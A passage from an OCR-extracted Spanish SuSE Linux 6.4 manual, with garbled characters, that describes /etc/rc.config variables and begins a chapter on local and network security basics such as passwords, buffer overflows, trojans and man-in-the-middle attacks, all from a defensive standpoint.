  28538.     tipo de reloj y U   es el n·mero de unidad entre 0   y 3 .  ~ La mayorφa de
  28539.     estos  relojes  necesitan  un  puerto  serie  o  un  bus  especial.  El  fichero  de
  28540.     dispositivo previsto para ello (+  Dispositivo) se indica normalmente con
  28541.     un enlace simb≤lico /dev/device-U hacia el hardware real.  U  debe co-
  28542.     incidir con el n·mero de unidad mencionado anteriormente; ver tambiΘn
  28543.     /usr/doc/packages/xntp/html/refclock.htm.
  28544.  
  28545.     Ejemplo:  Teniendo  un  ''reloj  at≤mico'',  que  se  conecta  al  puerto  serie,
  28546.     se  debe  establecer  el  enlace  simb≤lico  correspondiente.   El  nombre  del
  28547.     mismo se indica en refclock.htm.  ~ El driver ''PARSE'' se encarga de
  28548.     los receptores de onda tφpicos del tipo DCF77.
  28549.  
  28550.     ##  Type  8  Generic  Reference  Driver  (PARSE)
  28551.     ##  Address:          127.127.8.u
  28552.     ##  Serial  Port:  /dev/refclock-u
  28553.  
  28554.     Si  se  selecciona  p. ej.  server  127.127.8.0                 mediante  una  entrada  en
  28555.     ntp.conf,  tambiΘn  hace  falta  definir  un  enlace  simb≤lico  de  /dev/
  28556.     refclock-0 a ttySx; x  representa aquφ la interfaz usada para la conex-
  28557.     i≤n.
  28558. o   XNTPD_INITIAL_NTPDATE=""
  28559.     Lista  de  los  servidores  NTP  que  proporcionan  la  hora  antes  de  iniciar
  28560.     el  servidor  local;  p. ej. "sol.cosmos.univ".   Cuando  se  indican  varios
  28561.     servidores es necesario separarlos con un espacio.
  28562. o   DISPLAYMANAGER=""
  28563.     Define si el ''login'' se realiza en la consola de texto o en modo grßfico
  28564.     con el sistema X Window. Los valores admitidos son xdm    (administrador
  28565.     de ventanas estßndar del sistema X Window), kdm    (administrador de ven-
  28566.     tanas estßndar de KDE) o ""  . En el ·ltimo caso se supone que no se desea
  28567.     un login grßfico y por tanto la computadora se inicia en el nivel de ejecu-
  28568.     ci≤n 2 (ingl. Runlevel 2), usando como configuraci≤n predeterminada la
  28569.     consola de texto.
  28570. o   KDM_SHUTDOWN=root
  28571.     Indica cußles son los usuarios que tienen el derecho de apagar (Reboot o
  28572.     Shutdown) la computadora a travΘs de kdm.
  28573.  
  28574.     Los valores admitidos son root     (`root' tiene que identificarse con su
  28575.     contrase±a), all    (todos los usuarios), none     (nadie puede apagar la com-
  28576.     putadora vφa kdm) y local      (solo hay permiso de parar la computadora si
  28577.     el usuario ha entrado al sistema desde la consola y no a travΘs de la red).
  28578.     Si se indica ""  , se usa root     como el valor por defecto.
  28579. o   CONSOLE_SHUTDOWN=reboot
  28580.     Aquφ  se  determina  el  comportamiento  del__proceso_ init     respecto_ a__la___
  28581.     introducci≤n de la combinaci≤n de teclas |C__________o|ntrol+ |A____l|t+ |S_______u|ppr. Los
  28582.     valores  admitidos  son:  reboot       (la  computadora  cierra  el  sistema  y  se
  28583.     reinicia), halt     (la computadora se para y seg·n el tipo tambiΘn se apaga)
  28584.  
  28585.  
  28586.                                                                                                                                    *
  28587.  * 445
  28588. 17.  El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
  28589.  *_______________________________________@
  28590.  
  28591.  
  28592.  
  28593.                                  e ignore       (apretar la combinaci≤n de teclas no tiene ning·n efecto).  La
  28594.                                  variable estß por defecto en reboot      .
  28595.                              o   START_AXNET=no
  28596.                                  Servidor para Applixware.
  28597.                              o   START_MYSQL=no
  28598.                                  Servidor para MySQL .
  28599.                              o   START_ADABAS=no
  28600.                                  Servidor para el programa Adabas , al cual pertenecen las siguientes vari-
  28601.                                  ables:  DBROOT     , DBNAME      , DBUSER       y DBCONTROL          ~ ver los comentarios al
  28602.                                  respecto en rc.config.
  28603.                              o   START_DB2=no
  28604.                                  Servidor para DB2.
  28605.                              o   START_ARKEIA=no
  28606.                                  Iniciar el servidor de respaldo Arkeia .
  28607.                              o   START_ARGUS=no
  28608.                                  Servidor para Argus (monitor de red).
  28609.                              o   ARGUS_INTERFACE=eth0
  28610.                                  La interfaz que Argus debe ''vigilar''.
  28611.                              o   ARGUS_LOGFILE="/var/log/argus.log"
  28612.                                  El  fichero  de  registro  de  Argus .   íPuede  llegar  a  tener  un  tama±o  muy
  28613.                                  grande!
  28614.                              o   CRON=yes
  28615.                                  Manipula el inicio y la terminaci≤n del daemon cron. íEste daemon inicia
  28616.                                  automßticamente programas a una determinada hora y solamente se puede
  28617.                                  iniciar en los niveles de ejecuci≤n 2 y 3! Se recomienda encarecidamente
  28618.                                  su uso en computadoras que estßn en funcionamiento las 24h del dφa.  El
  28619.                                  daemon AT es una alternativa o un suplemento (ver en la pßgina 443Con-
  28620.                                  figurar e iniciar servicios de red y localesHfootnote.77).
  28621.                            ________________________________________________________________________________________________________*
  28622.  *________
  28623.                            |  Hay una serie de opciones que requieren la ejecuci≤n peri≤dica de deter-                             *
  28624.  *        ||||
  28625.                            |                                                                                                       *
  28626.  *        |||
  28627.                            |  minados programas. Es por eso que el daemon cron debe estar activado en                              *
  28628.  *        |||
  28629.                            |  todos los sistemas.                                                                                  *
  28630.  *        |||
  28631.                            |_______________________________________________________________________________________________________*
  28632.  *________|||_
  28633.  
  28634.                            Seguridad y servicios de mantenimiento locales
  28635.  
  28636.                              o   RUN_UPDATEDB=yes
  28637.                                  Determina  si  se  debe  actualizar  una  vez  por  noche  el  banco  de  datos
  28638.                                  para el programa locate  (locate      );  locate      sirve para encontrar rßpida-
  28639.                                  mente ficheros en el sistema. Es posible adaptar el servicio updatedb a las
  28640.                                  necesidades con las variables RUN_UPDATEDB_AS              , UPDATEDB_NETPATHS               ,
  28641.                                  UPDATEDB_NETUSER                y  UPDATEDB_PRUNEPATHS                   (ver  los  comentarios
  28642.                                  en  rc.config).    ~  Si  la  computadora  no  estß  continuamente  encen-
  28643.                                  dida,  es  posible  que  esta  actualizaci≤n  se  lleve  a  cabo  poco  despuΘs
  28644.                                  del  inicio  de  la  misma  (ver  apartado  16.6.1  en  la  pßgina  429paquete
  28645.                                  cronsubsection.16.6.1.
  28646.                              o   REINIT_MANDB=yes
  28647.                                  Activar  esta  opci≤n  si  se  quiere  que  cron.daily  actualice  diariamente  el
  28648.                                  banco de datos de las Manpages.
  28649.  
  28650.  
  28651. 446
  28652.      ___________________________17.6.__Las_variables_en_/etc/rc.config______________~_Configuraci≤n_de_sistema_____________________*
  28653.  *____________________
  28654.  
  28655.  
  28656.  
  28657. o   CREATE_INFO_DIR=yes
  28658.     Determina  si  se  debe  generar  automßticamente  el  fichero  /usr/info/
  28659.     dir que contiene un φndice de todas las pßginas de informaci≤n existentes.
  28660.     Es especialmente interesante cuando se ha instalado un paquete que con-
  28661.     tiene una pßgina del tipo Info. íTenga en cuenta que se debe instalar perl
  28662.     para aprovechar esta caracterφstica!
  28663. o   CHECK_PERMISSIONS=set
  28664.     Esta variable determina si las autorizaciones de un fichero se comprueban
  28665.     mediante la informaci≤n en /etc/permissions. Definiendo set    se cor-
  28666.     rigen las configuraciones falsas, con warn     solo aparecen ''Advertencias'',
  28667.     y con no   se apaga esta caracterφstica.
  28668. o   PERMISSION_SECURITY="easy  local"
  28669.     Hay tres niveles de seguridad preparados /etc/permissions.paranoid,
  28670.     /etc/permissions.secure  y  /etc/permissions.easy.     Indicar
  28671.     aquφ easy    , secure       o /etc/permissions.paranoid                       .  Se puede definir
  28672.     una configuraci≤n propia p. ej.  en /etc/permissions.local e indicarla
  28673.     despuΘs con local     .
  28674. o   RPMDB_BACKUP_DIR=/var/adm/backup/rpmdb
  28675.     Determina el lugar en el cual cron.daily debe escribir respaldos del banco
  28676.     de datos RPM; si no se desean respaldos de esto, se ha de poner la variable
  28677.     en ""  .
  28678. o   MAX_RPMDB_BACKUPS=5
  28679.     Determina la cantidad de respaldos del banco de datos RPM.
  28680. o   DELETE_OLD_CORE=yes
  28681.     Corefiles son imßgenes de la memoria RAM de programas que se termi-
  28682.     naron  por  una  violaci≤n  de  la  protecci≤n  de  memoria  y  se  pueden  usar
  28683.     para averiguar el error ocurrido.  La variable permite activar la b·sque-
  28684.     da peri≤dica de ficheros Core antiguos para su posterior eliminaci≤n au-
  28685.     tomßtica.
  28686. o   MAX_DAYS_FOR_CORE=7
  28687.     Esta variable determina la edad mßxima (en dφas) de los ficheros de core
  28688.     antes de borrarlos automßticamente.
  28689. o   MAX_DAYS_FOR_LOG_FILES=365
  28690.     Cuando  un  fichero  de  registro  (generalmente  en  /var/log)  alcanza  un
  28691.     determinado  tama±o,  Θste  se  comprime  automßticamente  y  se  archiva.
  28692.     DespuΘs,  un  mensaje  por  correo  lo  indica  al  s·per-usuario  root.   Esta
  28693.     variable determina cußnto tiempo se almacenan estos ficheros de registro
  28694.     antes de borrarlos automßticamente. Si el valor estß en 0  no se comprime
  28695.     ni  se  archiva  nada.   íLos  ficheros  de  registro  se  siguen  escribiendo  en-
  28696.     tonces para la eternidad y pueden por tanto llegar a ser muy grandes! Para
  28697.     ver los ficheros comprimidos se puede usar less    .
  28698. o   MAX_DAYS_IN_TMP=30
  28699.     Cada  dφa  se  comprueba  si  existen  en  el  directorio  tmp  ficheros  que  no
  28700.     hayan  sido  usados  para  mßs  dφas  que  los  indicados  en  la  variable.   Si
  28701.     existe un fichero asφ, se borra automßticamente.
  28702. o   TMP_DIRS_TO_CLEAR="/tmp  /var/tmp"
  28703.     Indicaci≤n de aquellos directorios para los que se realiza la b·squeda de
  28704.     ficheros ''antiguos''.
  28705.  
  28706.  
  28707.                                                                                                                                    *
  28708.  * 447
  28709. 17.  El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
  28710.  *_______________________________________@
  28711.  
  28712.  
  28713.  
  28714.                              o   OWNER_TO_KEEP_IN_TMP="root  bs"
  28715.                                  Los ficheros de los usuarios que se indican aquφ no se borran de los direc-
  28716.                                  torios temporales aunque ya se les considere ''antiguos''.
  28717.  
  28718.                              o   CWD_IN_ROOT_PATH=no
  28719.                                  El directorio actual forma parte (o no) de la rama de b·squeda de `root'.
  28720.  
  28721.                              o   ROOT_LOGIN_REMOTE=no
  28722.                                  Permitir  (o  no)  el  Login  para  `root'  vφa  telnet  o  vφa  rlogin .    Los
  28723.                                  aspectos  de  seguridad  al  respecto  se  tratan  en  en  la  pßgina  461El  in-
  28724.                                  etd subsection.18.2.2.
  28725.  
  28726.                              o   SUSEWM_UPDATE=yes
  28727.                                  Aquφ  se  determina  si  SuSEconfig  debe  adaptar  los  ficheros  de  con-
  28728.                                  figuraci≤n  del  sistema  para  los  gestores  de  ventas,  en  funci≤n  de  los
  28729.                                  paquetes  de  software  instalados.   Esto  se  puede  personalizar  mediante
  28730.                                  las  variables  SUSEWM_WM        ,  SUSEWM_MWM         ,  SUSEWM_XPM         ,  SUSEWM_ADD        *
  28731.  *   y
  28732.                                  SUSEWM_COMPAT           .
  28733. 448
  28734.  
  28735.  
  28736.  
  28737.  
  28738.                                 Parte  VIII
  28739.  
  28740.  
  28741. Seguridad   y   otros   buenos
  28742.  
  28743.  
  28744.  
  28745.                                  consejos
  28746.  
  28747.  
  28748.  
  28749.                                                                                                                                449
  28750.  
  28751.  
  28752.                                                                                                       Capφtulo  18
  28753.                                                    Seguridad   y   Confianza
  28754.  
  28755.  
  28756.  
  28757. 18.1        Fundamentos
  28758.  
  28759. Los peligros latentes en Internet son noticia constante en los medios de co-
  28760. municaci≤n;  casi cada dφa aparece una nueva amenaza para la computadora
  28761. en casa o para toda la red de una empresa que, por lo general, se manifiesta
  28762. en forma de virus; sin embargo, es posible protegerse de ellas.
  28763.  
  28764. Antes de comentar los distintos mecanismos de protecci≤n hay que aclarar lo
  28765. que realmente significa seguridad1  (ingl. Security) y cußles son las amenazas
  28766. de  las  que  nos  debemos  proteger.   Los  siguientes  6  aspectos  muestran  el
  28767. amplio campo de lo que representa la seguridad en un sistema informßtico:
  28768.  
  28769.  1.   Protecci≤n de los recursos
  28770.  
  28771.  2.   Acceso a la informaci≤n
  28772.  
  28773.  3.   Disponibilidad de los datos
  28774.  
  28775.  4.   Integridad de los datos
  28776.  
  28777.  5.   Confidencialidad de los datos (marco legal, p. ej.  en consultorios mΘdicos,
  28778.       bancos, etc.)
  28779.  
  28780.  6.   Privacidad
  28781.  
  28782. Cualquier concepto de seguridad debe garantizar estos 6 aspectos. Para garan-
  28783. tizarlos es importante considerar tambiΘn los peligros que conlleva la rotura
  28784. de hardware, como p. ej.  el ''headcrash'' (caφda del cabezal) de un disco duro,
  28785. o cintas de respaldo defectuosas.
  28786.        _______________________________________________________________________________________________________________________||
  28787.        ||||||||  Una parte elemental de un buen concepto de seguridad son los respaldos                         |||            |
  28788.        ||||||||  peri≤dicos  de  todos  los  datos,  cuya  integridad  en  el  medio  de  respaldo              ||             |
  28789.        ||||||||                                                                                                 ||             |
  28790.        ||||||||  (cinta, etc.) debe ser comprobada.                                                             ||             |
  28791.        ||||||||_______________________________________________________________________________________________________________||_
  28792.  
  28793. En resumen, existen las siguientes posibilidades para ''atacar'' una computa-
  28794. dora o la red de la que forma parte:
  28795.  
  28796. Los usuarios          que trabajan directamente con la computadora representan la
  28797.       mayor amenaza.  Los accesos indebidos no necesariamente se realizan a
  28798.       prop≤sito, pero tampoco se pueden descartar por completo los intentos de
  28799.       violar_la_seguridad_por_parte_de_empleados.__________
  28800. 1  Los anglosajones usan con mucha frecuencia el tΘrmino Trust, que se refiere bßsicamente al
  28801. grado de confianza que tiene el usuario en su sistema.
  28802.  
  28803.  
  28804.                                                                                                                                    *
  28805.  *   451
  28806. 18.  Seguridad y Confianza_________________________________________________________________________________________________________*
  28807.  *_______________________________________@
  28808.  
  28809.  
  28810.  
  28811.                            Comunicaci≤n            que podrφa ser interceptada a travΘs de redes locales o redes
  28812.                                  p·blicas,  como  es  el  caso  de  Internet;  ademßs,  estas  redes  ofrecen  la
  28813.                                  posibilidad de violar la seguridad desde lugares remotos.
  28814.  
  28815.                            Acceso directo          a  computadoras  por  ladrones  u  otras  personas  no  autor-
  28816.                                  izadas; robo o sabotaje.
  28817.  
  28818.                            Catßstrofes naturales              como  rayos  o  inundaciones  que  pueden  da±ar  los
  28819.                                  equipos.
  28820.  
  28821.                            Hardware y software                defectuoso  que  puede  poner  los  datos  en  peligro  de
  28822.                                  ser  borrados  o  que  individuos  no  autorizados  accedan  a  ellos;  tambiΘn
  28823.                                  es posible que un fallo de software deje fuera de funcionamiento a todo
  28824.                                  el  sistema  o  a  un  determinado  servicio  (ver  el  apartado  81  en  la  pßgi-
  28825.                                  na 456Denial of ServiceHfootnote.81).
  28826.  
  28827.                            Medios de almacenamiento                    como   disquetes,   cintas   o   discos   duros   se
  28828.                                  pueden deteriorar o pueden ser robados.
  28829.  
  28830.                            Campos electromagnΘticos                   emitidos por cada computadora, monitor o ca-
  28831.                                  ble de red (se pueden visualizar con los aparatos adecuados).  Estos cam-
  28832.                                  pos se transmiten tambiΘn a travΘs de la tuberφa y los cables elΘctricos; las
  28833.                                  pantallas planas tambiΘn emiten radicaci≤n.
  28834.  
  28835.  
  28836.                            En este capφtulo consideramos sobre todo los dos primeros aspectos, porque
  28837.                            es justamente en estos donde el uso planificado de SuSE     Linux puede reducir
  28838.                            considerablemente el peligro de intrusiones. Los demßs aspectos no interesan
  28839.                            tanto al usuario privado, sin embargo, deben ser considerados en el caso de
  28840.                            una red empresarial.
  28841.  
  28842.                            Para comenzar, el apartado 18.1.1 y el apartado 18.1.2 en la pßgina 455Se-
  28843.                            guridad en redessubsection.18.1.2,  mencionan las distintas posibilidades de
  28844.                            atacar un sistema; el apartado 18.2 en la pßgina 457Utilidadessection.18.2 en
  28845.                            la en la pßgina 457Utilidadessection.18.2 presenta en detalle las herramientas
  28846.                            que proporciona SuSE      Linux 6.4 para combatir esos ataques.  Al final se da
  28847.                            una serie de importantes consejos que se recomienda seguir.
  28848.  
  28849.  
  28850.                            18.1.1       Seguridad local
  28851.  
  28852.                            Lo mejor para protegerse es comenzar con la computadora propia en la red
  28853.                            local.   Incluso  cuando  la  computadora  no  estß  en  red,  es  mejor  vigilar  los
  28854.                            principios bßsicos de seguridad. Una simple manipulaci≤n del disco duro por
  28855.                            parte de "invitados÷p drφa provocar grandes problemas si se pierden con ella
  28856.                            los ·ltimos resultados de la tesis doctoral, ípor ejemplo!.
  28857.  
  28858.  
  28859.                            Contrase±as
  28860.  
  28861.                            Linux  es  un  sistema  operativo  multiusuario  que  no  solo  trata  con  distintos
  28862.                            usuarios  y  sus  perfiles,  sino  que  tambiΘn  maneja  un  mecanismo  de  auten-
  28863.                            tificaci≤n mediante contrase±as; aunque parezca molesto, es mejor asignar a
  28864.                            cada usuario del sistema una buena contrase±a2 . Asφ se consigue como mφni-
  28865.                            mo una buena protecci≤n respecto al intruso incauto. El superusuario `root'
  28866.                            _____________________________________________2
  28867.                              Ya se ha escrito mucho acerca de la elecci≤n de una ''buena'' contrase±a y en el apartado 18.4
  28868.                            en la pßgina 466Consejos generalessection.18.4 damos algunos consejos al respecto.
  28869.  
  28870.  
  28871. 452
  28872.        _____________________________________________________________________________________________________18.1.__Fundamentos_____*
  28873.  *______________________
  28874.  
  28875.  
  28876.  
  28877. es generalmente el centro de ataques, asφ que su contrase±a debe ser elegida
  28878. con especial atenci≤n.
  28879. No  obstante,  las  mejores  contrase±as  no  sirven  si  el  intruso  tiene  acceso
  28880. directo  a  la  computadora  y  la  puede  arrancar  por  ejemplo  con  un  disquete
  28881. de  arranque.  Esto  le  darφa  acceso  directo  al  sistema,  por  lo  que  se  deberφa
  28882. desactivar en el Setup de la BIOS la posibilidad de arrancar la computadora
  28883. con disquete o CD-ROM.
  28884.        _______________________________________________________________________________________________________________________||
  28885.        ||||||||  En  el  mismo  momento  de  desactivar  la  posibilidad  de  arranque  vφa  dis-               |||            |
  28886.        ||||||||                                                                                                 ||             |
  28887.        ||||||||  quete, se debe activar una contrase±a para la BIOS la cual se debe recordar                    ||             |
  28888.        ||||||||  siempre para no perder el acceso normal a ella.  Si la contrase±a se pierde                    ||             |
  28889.        ||||||||                                                                                                 ||             |
  28890.        ||||||||  queda como remedio ''resetear'' la BIOS                                                        ||             |
  28891.        ||||||||_______________________________________________________________________________________________________________||_
  28892.  
  28893. Si estß usando LILO  (ver apartado en la pßgina 130Otras opciones de con-
  28894. figuraci≤n (Selecci≤n)Hfootnote.21),  es recomendable colocar en el fichero
  28895. /etc/lilo.conf  la  opci≤n  restricted          junto  con  una  contrase±a  (p. ej.
  28896. contrase±a_segura                )  y  activarla  con  el  comando  lilo   .   Sin  esta  protec-
  28897. ci≤n cualquier persona sentada en frente de la mßquina serφa capaz de violar
  28898. la seguridad del sistema. La contrase±a ha de ser segura y solo `root' debe
  28899. tener acceso de lectura al fichero /etc/lilo.conf.
  28900.  
  28901. El  paquete  john  de  la  serie  Software  del  ßmbito  de  seguridadsec
  28902. contiene un programa para descubrir contrase±as.  íUn administrador de sis-
  28903. tema cuidadoso puede utilizar este programa para averiguar las contrase±as
  28904. ''dΘbiles'' para luego poder evitarlas!
  28905.  
  28906.  
  28907. Derechos de acceso
  28908.  
  28909. Para restringir las posibilidades de los usuarios, estos siempre deben trabajar
  28910. con el mφnimo de derechos posibles. Esto incluye al administrador de sistema
  28911. que no debe trabajar como superusuario cuando no estΘ realizando ninguna
  28912. tarea de administraci≤n.  La contrase±a del superusuario siempre debe man-
  28913. tenerse en secreto,  para evitar cualquier manipulaci≤n ya sea a prop≤sito o
  28914. accidental.
  28915.  
  28916.  
  28917. Buffer Overflows y otros ataques
  28918.  
  28919. El mΘtodo mßs com·n para conseguir derechos de `root' en un sistema es
  28920. el de provocar ''buffer overruns''3 .  El funcionamiento de estos ''Exploits'' se
  28921. basa en sobreescribir campos estßticos de la pila de usuario (ingl. User stack)
  28922. de un determinado programa en ejecuci≤n.  De esta forma se sobreescriben
  28923. otras variables en la pila de usuario para ejecutar asφ el c≤digo deseado (p. ej.
  28924. una  shell).   Programas  vulnerables  a  este  tipo  de  ataque  son  aquellos  que
  28925. tienen un tama±o de campo (array) estßtico para la entrada de valores y que
  28926. no tienen control de desbordamiento de b·fer.
  28927.  
  28928. Los  ·nicos  programas  atractivos  para  estos  ataques  son  los  que  tienen  el
  28929. ''suid-Bit'' o el ''sgid-Bit'' activado, por lo que se ejecutan con los derechos
  28930. del propietario del programa y no con los del usuario que ejecuta el progra-
  28931. ma.   Normalmente__estos__programas__necesitan__el__modo__''suid_ root'',  ya  que
  28932. 3 El tema se conoce tambiΘn bajo el nombre ''stack smashing vulnerabilities''.
  28933.  
  28934.  
  28935.                                                                                                                                    *
  28936.  *   453
  28937. 18.  Seguridad y Confianza_________________________________________________________________________________________________________*
  28938.  *_______________________________________@
  28939.  
  28940.  
  28941.  
  28942.                            ejecutan programas de los que root     es propietario (p. ej.  passwd      ).  La meta
  28943.                            de SuSE      Linux es la de disminuir al mßximo la cantidad de programas con
  28944.                            esta caracterφstica para proteger de este modo el sistema.  Ademßs, se acon-
  28945.                            seja consultar las publicaciones tφpicas sobre el tema de seguridad y, en caso
  28946.                            de que aparezca un hueco de seguridad, instalar inmediatamente los parches
  28947.                            necesarios.
  28948.  
  28949.                            Otro tipo de ataque a programas privilegiados son los llamados ''link attacks''.
  28950.                            Por el trabajo inseguro que estos programas realizan en directorios p·blicos,
  28951.                            serφa posible pasar datos a ficheros muy distintos de lo pensado, consiguiendo
  28952.                            con ello informaci≤n restringida sobre el sistema.
  28953.  
  28954.                            Para reducir la cantidad de ficheros tipo suid     y sgid    , SuSE      Linux ofrece a
  28955.                            travΘs de YaST  la posibilidad de asignar los permisos sobre los ficheros, de
  28956.                            tal modo que el acceso a ellos sea seguro. Elija `Administraci≤n  de  sis-
  28957.                            tema', `Configuraciones  de  seguridad' y ponga secure      o paranoid
  28958.                            en `Los  permisos  de  archivo  estßn  como:'. Se puede comprobar los
  28959.                            ficheros   /etc/permissions.secure   y   /etc/permissions.paranoid
  28960.                            para  ver  los  permisos  modificados.   Antes  de  llegar  al  nivel  de  seguridad
  28961.                            paranoid        es conveniente comprobar que la funcionalidad del propio sistema
  28962.                            no estΘ demasiado restringida.
  28963.  
  28964.                            Por su complejidad y la cantidad de c≤digo existente, el sistema X Window
  28965.                            (XFree86) ha presentado con cierta frecuencia huecos de seguridad que ac-
  28966.                            tualmente no representan tanto problema ya que en SuSE     Linux los servidores
  28967.                            y librerφas ya no son ''suid-root''. Sin embargo, pueden existir algunos defec-
  28968.                            tos en la comunicaci≤n cliente-servidor, por lo cual, tambiΘn existe la posi-
  28969.                            bilidad de interceptar las entradas por teclado o de leer el contenido de una
  28970.                            ventana. Si se tiene en cuenta el consejo No. 3, usando ''Xauthority'' mediante
  28971.                            el comando xauth      y renunciando al comando xhost  +     , se consigue un nivel
  28972.                            alto de seguridad. Para iniciar programas del sistema X Window de forma re-
  28973.                            mota, se usa el paquete ssh de la serie n (network); en caso de uso comercial
  28974.                            consultar los tΘrminos de licencia en /usr/doc/packages/ssh/COPYING.
  28975.                            ssh  existe  para  casi  todas  las  plataformas.  No  obstante  este  tipo  de  ''X11-
  28976.                            Forwarding'' involucra otro tipo de peligros, por lo que puede ser mejor pre-
  28977.                            scindir completamente de ello.
  28978.                            ________________________________________________________________________________________________________*
  28979.  *________
  28980.                            |  Por razones de seguridad, ademßs de la pΘrdida de rendimiento, es mejor                              *
  28981.  *        |||
  28982.                            |                                                                                                       *
  28983.  *        |||
  28984.                            |  prescindir del sistema X Window en los servidores.                                                   *
  28985.  *        |||
  28986.                            |_______________________________________________________________________________________________________*
  28987.  *________|||_
  28988.  
  28989.  
  28990.                            Virus y caballos de Troya
  28991.  
  28992.                            Hay computadoras y sistemas operativos que estßn seriamente amenazados
  28993.                            por muchos tipos de virus, ya que el traspaso de software en disquete repre-
  28994.                            senta el mejor caldo de cultivo para los virus.  Afortunadamente, hasta ahora
  28995.                            solo se conocen 2 virus para Linux. Como prßcticamente no se traspasa soft-
  28996.                            ware para Linux en formato binario y ademßs SuSE     Linux puede ser consid-
  28997.                            erado libre de virus, no existe ning·n peligro, mientras se tenga en cuenta el
  28998.                            consejo No. 1 de la pßgina 466Consejos generalesItem.232.
  28999.  
  29000.                            Otra  cosa  son  los  virus  de  macro  que  se  siguen  extendiendo  p. ej.  vφa  E-
  29001.                            Mail, incorporados en documentos de procesadores de texto. Como no existe
  29002.  
  29003.  
  29004. 454
  29005.        _____________________________________________________________________________________________________18.1.__Fundamentos_____*
  29006.  *______________________
  29007.  
  29008.  
  29009.  
  29010. ning·n paquete de ofimßtica estßndar para Linux, estos virus se encuentran
  29011. bajo SuSE     Linux en un ambiente ''estΘril''. Cuando se usa SuSE     Linux en un
  29012. servidor de correo como ''agente de traspaso de correo'' (ingl. Mail Transfer
  29013. Agent),  existe  la  posibilidad  de  escanear  todo  el  correo  entrante  y  saliente
  29014. para detectar alg·n virus incorporado.
  29015.  
  29016. Los  ''caballos  de  Troya''  merecen  especial  atenci≤n.   Son  programas  que
  29017. aparentan  ser  algo  muy  diferente  de  lo  que  realmente  son,  para  poder  ac-
  29018. tuar ''a escondidas''.  Por ejemplo, por detrßs de un prompt de login se puede
  29019. esconder  un  caballo  de  Troya  que  almacena  en  un  fichero  las  contrase±as
  29020. robadas o las envφa por E-Mail al presunto intruso. Es algo que puede parecer
  29021. inofensivo y divertido, pero en el momento que se trata de robar n·meros de
  29022. tarjetas de crΘdito o la clave de acceso a la cuenta corriente, pasa a ser algo se-
  29023. rio. La posibilidad de descargar un caballo de Troya de Internet o de recibirlo
  29024. vφa Email es relativamente baja. Una vez que se haya violado la seguridad del
  29025. sistema, el intruso deja generalmente otros caballos de Troya para acceder al
  29026. sistema en otras ocasiones.  Por eso, cuando se descubre un caballo de Troya
  29027. es bastante seguro que la seguridad del sistema ha sido violada.
  29028.  
  29029. No hay ninguna protecci≤n definitiva contra los virus y los caballos de Troya,
  29030. pero un buen programa antivirus, un cierto cuidado al traspasar informaci≤n
  29031. vφa disquete asφ como el hecho de tomar en consideraci≤n los consejos ex-
  29032. puestos en el apartado 18.4 en la pßgina 466Consejos generalessection.18.4,
  29033. pueden ayudar mucho.  Programas como tripwire  en el paquete tripwire,
  29034. serie sec (Software del ßmbito de seguridad), pueden ayudar a detectar prob-
  29035. lemas se seguridad (ver en la pßgina 458TripwireHfootnote.82).
  29036.  
  29037.  
  29038. 18.1.2       Seguridad en redes
  29039.  
  29040. Ya casi no quedan computadoras que trabajen por sφ solas. Con las excelentes
  29041. capacidades  de  comunicaci≤n  no  es  de  extra±ar  que  muchas  computadoras
  29042. con Linux se encuentren en una red de ßrea local (LAN), estΘn conectadas
  29043. vφa m≤dem o RDSI a Internet o sirvan de pasarela (ingl. Gateway) para to-
  29044. da una sub-red.  De esta forma, cada computadora estß expuesta a m·ltiples
  29045. amenazas procedentes de la red. A la mayorφa de los posibles ataques se hace
  29046. frente con la configuraci≤n adecuada de un cortafuegos (ingl. firewall).  Los
  29047. puertos del cortafuegos que quedan abiertos siguen siendo vulnerables, pero
  29048. la aplicaci≤n de algunas herramientas adicionales puede reducir considerable-
  29049. mente el peligro.
  29050.  
  29051. La  probabilidad  de  ser  el  destino  de  un  ataque  de  este  estilo  durante  unos
  29052. 30 minutos de comunicaci≤n (para leer p. ej.  el correo) es prßcticamente de-
  29053. spreciable, sin embargo, se deben proteger en todo caso los sistemas que se
  29054. conectan a travΘs de una lφnea permanente.  A continuaci≤n se presentan las
  29055. formas de ataque mßs frecuentes.
  29056.  
  29057.  
  29058. Man in the Middle
  29059.  
  29060. Los ataques del tipo ''Man in the Middle'' se refieren a paquetes de informa-
  29061. ci≤n en la red que se ''rutean'' a travΘs de una o de varias computadoras entre
  29062. distintas redes.  El agresor tiene en este caso el control sobre uno de los en-
  29063. rutadores (ingl. router) y puede interceptar, modificar y desviar los paquetes
  29064.  
  29065.  
  29066.                                                                                                                                    *
  29067.  *   455
  29068. 18.  Seguridad y Confianza_________________________________________________________________________________________________________*
  29069.  *_______________________________________@
  29070.  
  29071.  
  29072.  
  29073.                            IP. Como los paquetes IP no estßn autentificados en la actualidad,  esta for-
  29074.                            ma de ataque es relativamente sencilla, sin embargo, el futuro estßndar IPv6
  29075.                            mejorarß esta situaci≤n.
  29076.  
  29077.                            Estos  ataques  se  pueden  producir  p. ej.  cuando  se  estß  enviando  E-Mail  o
  29078.                            accediendo  a  un  servidor  web  y  el  ·nico  remedio  contra  ellos  es  el  uso  de
  29079.                            la criptografφa.  Las conexiones de red vφa telnet       o rsh    son legibles (con-
  29080.                            trase±a incluida), ya que no se encriptan y para evitarlo lo mejor es usar ssh
  29081.                            para  conectarse.   En  cuanto  a  los  E-Mails  es  posible  apoyarse  en  pgp  .   La
  29082.                            transmisi≤n codificada de pßginas web se consigue con el protocolo SSL4  .
  29083.                            De  todos  modos  la  calidad  de  la  encriptaci≤n  siempre  se  basa  en  la  trans-
  29084.                            ferencia segura de las claves, por lo que es muy importante transferirlos con
  29085.                            especial cuidado.
  29086.  
  29087.                            El paquete apassl de la serie n (network) contiene el servidor Apache (pa-
  29088.                            quete apache), capaz de usar SSL.
  29089.  
  29090.  
  29091.  
  29092.                            Buffer Overflows, 2a  entrega
  29093.  
  29094.  
  29095.                            Los Buffer overflows representan, directamente por detrßs del ''sniffing'' (la
  29096.                            lectura pasiva de datos para espiar p. ej.  contrase±as), la manera mßs frecuente
  29097.                            de poner en peligro la seguridad del sistema.  En realidad cualquier servicio
  29098.                            que sea accesible desde afuera, representa un problema potencial de seguridad
  29099.                            (p. ej.  Mail, Webserver, POP3, etc.)  Todos los servicios imprescindibles solo
  29100.                            deberφan ser accesibles a travΘs de una configuraci≤n de Firewall del kernel de
  29101.                            Linux (mediante ipchain      ) y solo se deberφa brindar servicios a determinados
